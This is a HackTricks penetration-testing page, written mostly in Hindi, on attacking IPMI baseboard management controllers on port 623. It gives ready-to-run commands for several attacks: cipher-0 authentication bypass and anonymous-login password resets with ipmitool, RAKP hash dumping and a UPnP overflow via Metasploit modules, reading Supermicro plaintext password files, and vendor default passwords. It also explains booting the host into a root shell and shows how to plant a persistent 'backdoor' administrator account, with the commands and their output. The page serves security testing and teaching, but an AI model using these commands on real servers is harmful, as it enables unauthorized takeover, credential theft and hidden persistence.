122 lines
15 KiB
Markdown

# 623/UDP/TCP - IPMI
{{#include ../banners/hacktricks-training.md}}
## Basic Information
### **IPMI का अवलोकन**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** कंप्यूटर सिस्टम के दूरस्थ प्रबंधन और निगरानी के लिए एक मानकीकृत दृष्टिकोण प्रदान करता है, जो ऑपरेटिंग सिस्टम या पावर स्थिति से स्वतंत्र है। यह तकनीक सिस्टम प्रशासकों को दूरस्थ रूप से सिस्टम प्रबंधित करने की अनुमति देती है, यहां तक कि जब वे बंद या असंवेदनशील होते हैं, और यह विशेष रूप से उपयोगी है:
- प्री-ओएस बूट कॉन्फ़िगरेशन
- पावर-ऑफ प्रबंधन
- सिस्टम विफलताओं से पुनर्प्राप्ति
IPMI तापमान, वोल्टेज, फैन स्पीड और पावर सप्लाई की निगरानी करने में सक्षम है, साथ ही इन्वेंटरी जानकारी प्रदान करता है, हार्डवेयर लॉग की समीक्षा करता है, और SNMP के माध्यम से अलर्ट भेजता है। इसके संचालन के लिए एक पावर स्रोत और एक LAN कनेक्शन आवश्यक हैं।
1998 में Intel द्वारा पेश किए जाने के बाद से, IPMI को कई विक्रेताओं द्वारा समर्थित किया गया है, जो दूरस्थ प्रबंधन क्षमताओं को बढ़ाता है, विशेष रूप से संस्करण 2.0 के LAN पर सीरियल के समर्थन के साथ। मुख्य घटक शामिल हैं:
- **Baseboard Management Controller (BMC):** IPMI संचालन के लिए मुख्य माइक्रो-कंट्रोलर।
- **संचार बस और इंटरफेस:** आंतरिक और बाहरी संचार के लिए, जिसमें ICMB, IPMB, और स्थानीय और नेटवर्क कनेक्शनों के लिए विभिन्न इंटरफेस शामिल हैं।
- **IPMI मेमोरी:** लॉग और डेटा संग्रहीत करने के लिए।
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**डिफ़ॉल्ट पोर्ट**: 623/UDP/TCP (यह आमतौर पर UDP पर होता है लेकिन यह TCP पर भी चल सकता है)
## Enumeration
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
आप **संस्करण** का **पहचान** कर सकते हैं:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI Vulnerabilities
IPMI 2.0 के क्षेत्र में, Dan Farmer द्वारा एक महत्वपूर्ण सुरक्षा दोष का पता लगाया गया, जो **cipher type 0** के माध्यम से एक भेद्यता को उजागर करता है। यह भेद्यता, जिसका विस्तृत विवरण [Dan Farmer's research](http://fish2.com/ipmi/cipherzero.html) में दिया गया है, किसी भी पासवर्ड के साथ अनधिकृत पहुंच की अनुमति देती है यदि एक मान्य उपयोगकर्ता को लक्षित किया जाए। यह कमजोरी HP, Dell, और Supermicro जैसे निर्माताओं के विभिन्न BMCs में पाई गई, जो सभी IPMI 2.0 कार्यान्वयन में एक व्यापक समस्या का सुझाव देती है।
### **IPMI Authentication Bypass via Cipher 0**
इस दोष का पता लगाने के लिए, निम्नलिखित Metasploit सहायक स्कैनर का उपयोग किया जा सकता है:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
इस दोष का शोषण `ipmitool` के साथ किया जा सकता है, जैसा कि नीचे प्रदर्शित किया गया है, जो उपयोगकर्ता पासवर्ड की सूची बनाने और संशोधित करने की अनुमति देता है:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP प्रमाणीकरण दूरस्थ पासवर्ड हैश पुनर्प्राप्ति**
यह सुरक्षा कमी किसी भी मौजूदा उपयोगकर्ता नाम के लिए नमकीन हैश किए गए पासवर्ड (MD5 और SHA1) की पुनर्प्राप्ति की अनुमति देती है। इस सुरक्षा कमी का परीक्षण करने के लिए, Metasploit एक मॉड्यूल प्रदान करता है:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI गुमनाम प्रमाणीकरण**
कई BMCs में एक डिफ़ॉल्ट कॉन्फ़िगरेशन "गुमनाम" पहुँच की अनुमति देता है, जो शून्य उपयोगकर्ता नाम और पासवर्ड स्ट्रिंग द्वारा विशेषता प्राप्त करता है। इस कॉन्फ़िगरेशन का उपयोग `ipmitool` का उपयोग करके नामित उपयोगकर्ता खातों के पासवर्ड को रीसेट करने के लिए किया जा सकता है:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI स्पष्ट-पाठ पासवर्ड**
IPMI 2.0 में एक महत्वपूर्ण डिज़ाइन विकल्प BMCs के भीतर प्रमाणीकरण उद्देश्यों के लिए स्पष्ट-पाठ पासवर्डों के भंडारण की आवश्यकता करता है। Supermicro द्वारा इन पासवर्डों को `/nv/PSBlock` या `/nv/PSStore` जैसे स्थानों में संग्रहीत करने से महत्वपूर्ण सुरक्षा चिंताएँ उठती हैं:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP Vulnerability**
Supermicro के IPMI फर्मवेयर में UPnP SSDP श्रोता का समावेश, विशेष रूप से UDP पोर्ट 1900 पर, एक गंभीर सुरक्षा जोखिम प्रस्तुत करता है। Intel SDK for UPnP Devices संस्करण 1.3.1 में कमजोरियाँ, जैसा कि [Rapid7's disclosure](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) में विस्तृत किया गया है, BMC तक रूट एक्सेस की अनुमति देती हैं:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP अपने **Integrated Lights Out (iLO)** उत्पाद के लिए डिफ़ॉल्ट पासवर्ड को निर्माण के दौरान यादृच्छिक बनाता है। यह प्रथा अन्य निर्माताओं के विपरीत है, जो आमतौर पर **स्थिर डिफ़ॉल्ट क्रेडेंशियल्स** का उपयोग करते हैं। विभिन्न उत्पादों के लिए डिफ़ॉल्ट उपयोगकर्ता नाम और पासवर्ड का सारांश इस प्रकार है:
- **HP Integrated Lights Out (iLO)** एक **फैक्टरी यादृच्छिक 8-चरित्र स्ट्रिंग** को अपने डिफ़ॉल्ट पासवर्ड के रूप में उपयोग करता है, जो उच्च सुरक्षा स्तर को दर्शाता है।
- **Dell's iDRAC, IBM's IMM**, और **Fujitsu's Integrated Remote Management Controller** जैसे उत्पाद आसानी से अनुमानित पासवर्ड का उपयोग करते हैं जैसे "calvin", "PASSW0RD" (शून्य के साथ), और "admin" क्रमशः।
- इसी तरह, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, और **ASUS iKVM BMC** भी सरल डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग करते हैं, जिनमें "ADMIN", "changeme", और "admin" उनके पासवर्ड के रूप में कार्य करते हैं।
## Accessing the Host via BMC
Baseboard Management Controller (BMC) तक प्रशासनिक पहुंच होस्ट के ऑपरेटिंग सिस्टम तक पहुंचने के लिए विभिन्न मार्ग खोलती है। एक सीधा दृष्टिकोण BMC के कीबोर्ड, वीडियो, माउस (KVM) कार्यक्षमता का लाभ उठाना है। यह या तो GRUB के माध्यम से रूट शेल पर होस्ट को पुनरारंभ करके (`init=/bin/sh`) या एक वर्चुअल CD-ROM से बूट करके किया जा सकता है जिसे एक बचाव डिस्क के रूप में सेट किया गया है। ऐसे तरीके होस्ट के डिस्क में सीधे हेरफेर की अनुमति देते हैं, जिसमें बैकडोर डालना, डेटा निकालना, या सुरक्षा मूल्यांकन के लिए आवश्यक किसी भी कार्रवाई को करना शामिल है। हालाँकि, इसके लिए होस्ट को पुनरारंभ करना आवश्यक है, जो एक महत्वपूर्ण कमी है। बिना पुनरारंभ किए, चल रहे होस्ट तक पहुंचना अधिक जटिल है और होस्ट की कॉन्फ़िगरेशन के साथ भिन्न होता है। यदि होस्ट का भौतिक या अनुक्रमिक कंसोल लॉग इन रहता है, तो इसे BMC के KVM या सीरियल-ओवर-LAN (sol) कार्यक्षमताओं के माध्यम से `ipmitool` के माध्यम से आसानी से नियंत्रित किया जा सकता है। साझा हार्डवेयर संसाधनों, जैसे i2c बस और सुपर I/O चिप के शोषण की खोज एक ऐसा क्षेत्र है जिसे आगे की जांच की आवश्यकता है।
## Introducing Backdoors into BMC from the Host
BMC से लैस एक होस्ट से समझौता करने पर, **स्थानीय BMC इंटरफ़ेस का उपयोग एक बैकडोर उपयोगकर्ता खाता डालने के लिए किया जा सकता है**, जो सर्वर पर एक स्थायी उपस्थिति बनाता है। इस हमले के लिए समझौता किए गए होस्ट पर **`ipmitool`** की उपस्थिति और BMC ड्राइवर समर्थन को सक्रिय करने की आवश्यकता होती है। निम्नलिखित कमांड दर्शाते हैं कि कैसे एक नया उपयोगकर्ता खाता होस्ट के स्थानीय इंटरफ़ेस का उपयोग करके BMC में इंजेक्ट किया जा सकता है, जो प्रमाणीकरण की आवश्यकता को बायपास करता है। यह तकनीक लिनक्स, विंडोज, BSD, और यहां तक कि DOS सहित विभिन्न ऑपरेटिंग सिस्टम पर लागू होती है।
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
- `port:623`
## References
- [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{{#include ../banners/hacktricks-training.md}}